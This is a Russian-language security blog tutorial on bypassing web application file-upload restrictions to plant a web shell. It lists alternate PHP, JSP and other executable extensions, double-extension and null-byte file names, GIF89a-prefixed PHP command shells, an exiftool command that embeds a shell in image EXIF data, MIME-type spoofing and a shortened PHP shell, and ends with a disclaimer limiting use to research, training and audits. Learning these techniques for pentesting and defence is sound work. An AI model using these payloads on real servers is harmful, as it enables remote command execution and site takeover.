🕵️ Обход ограничений на загрузку файлов в веб-приложениях, чтобы открыть шелл – Information Security Squad
🕵️  Обход ограничений на загрузку файлов в веб-приложениях, чтобы открыть шелл

Некоторые динамические веб-сайты позволяют пользователям загружать файлы, изображения, песни, фильмы и т. д.

Такие сайты, как например Facebook и Linkedin позволяют своим пользователям загружать изображения профиля и резюме.

Загрузка файлов имеет решающее значение для многих веб-приложений, и в то же время это большой риск, если при загрузке файлов не реализованы надлежащие меры безопасности.

Потому что у хакеров есть различные методы, позволяющие обойти и преодолеть ограничения загрузки файлов, чтобы открыть shell

Введение

Сегодня мы обсудим, как хакер может использовать уязвимость неограниченной загрузки файлов для взлома веб-сайтов и серверов.

Перед тем, как начать!

Важно знать основные сведения о веб-оболочках и уязвимостях загрузки файлов.

Злоумышленники используют веб-оболочки для различных операций, таких как выполнение команд оболочки, удаление файлов, создание файлов, загрузки файлов и т. д.

Зачастую можно загрузить обратный шелл (оболочку) без обхода фильтров и ограничений.

Обход черных списков

Определенные типы расширений обычно явно запрещены для загрузки на сервер в черных списках.
Это может показаться оптимальным решением для защиты вашего сервера от взлома, но можно обойти определенные условия.

Расширения файлов

Разработчики заносят в черный список определенные расширения файлов и запрещают пользователям загружать те файлы, которые считаются опасными для сервера.

Но этого можно обойти, изменив некоторые строки в расширениях для загрузки и выполнения пэйлоада или веб-оболочки.

ТИП Extensions
PHP .pht, phtml, .php, .php3, .php4, .php5, .php6, .inc
JSP .jsp, .jspx, .jsw, .jsv, and .jspf
Perl .pl, .pm, .cgi, .lib
Asp asp, .aspx
Coldfusion .cfm, cfml, .cfc, .dbm
В некоторых случаях изменение расширений может не помочь, вместо этого вам нужно сделать следующее:

.pHp, .Php, .phP

Обход белых списков

В белом списке указна только определенные расширения, которые сервер принимает в качестве загрузки.

Например, веб-сайт, на который необходимо загрузить изображение профиля, которое может содержать форматы JPG, JPEG или PNG.

Apache позволяет загружать файлы с двойными расширениями.

Это означает, что мы можем обманом заставить сервер принять оболочку, которая в конце также имеет расширение PNG.

shell.php.png
shell.php%00.png
shell.php\x00.jpg

Другой способ обойти белые списки – это манипулировать заголовками типов файлов.

Если определенный веб-сайт принимает изображения, он также принимает изображения в формате GIF.

Мы можем добавить GIF89a, чтобы обмануть сервер в загрузке оболочки.
GIF89a; <?php system($_GET['cmd']); ?>
GIF89a;
<?

system($_GET[‘cmd’]); # shellcode goes here
?>

Данные EXIF

Этот метод позволяет нам обойти ограничения загрузки файлов, используя данные EXIF в изображении.

Добавление комментария, содержащего PHP-код, будет выполняться сервером при обработке изображения.

Вы можете сделать это с помощью gimp или ExifTool

exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' file.png
mv image.jpg image.php.png

MIME-type

Внесение типов MIME в черный список также является методом проверки загрузки файлов.

Его можно обойти, перехватив запрос POST на пути к серверу и изменив тип MIME.

Обычный тип PHP MIME:

Content-type: application/x-php

Заменить на:

Content-type: image/jpeg

Другие методы обхода

В некоторых ситуациях длина содержимого также может вызвать проблемы при проверке загруженных файлов.

Для этого команду шелла PHP можно сократить следующим образом:

<?='$_GET[x]'?><br>

¯\_(ツ)_/¯

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

 

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *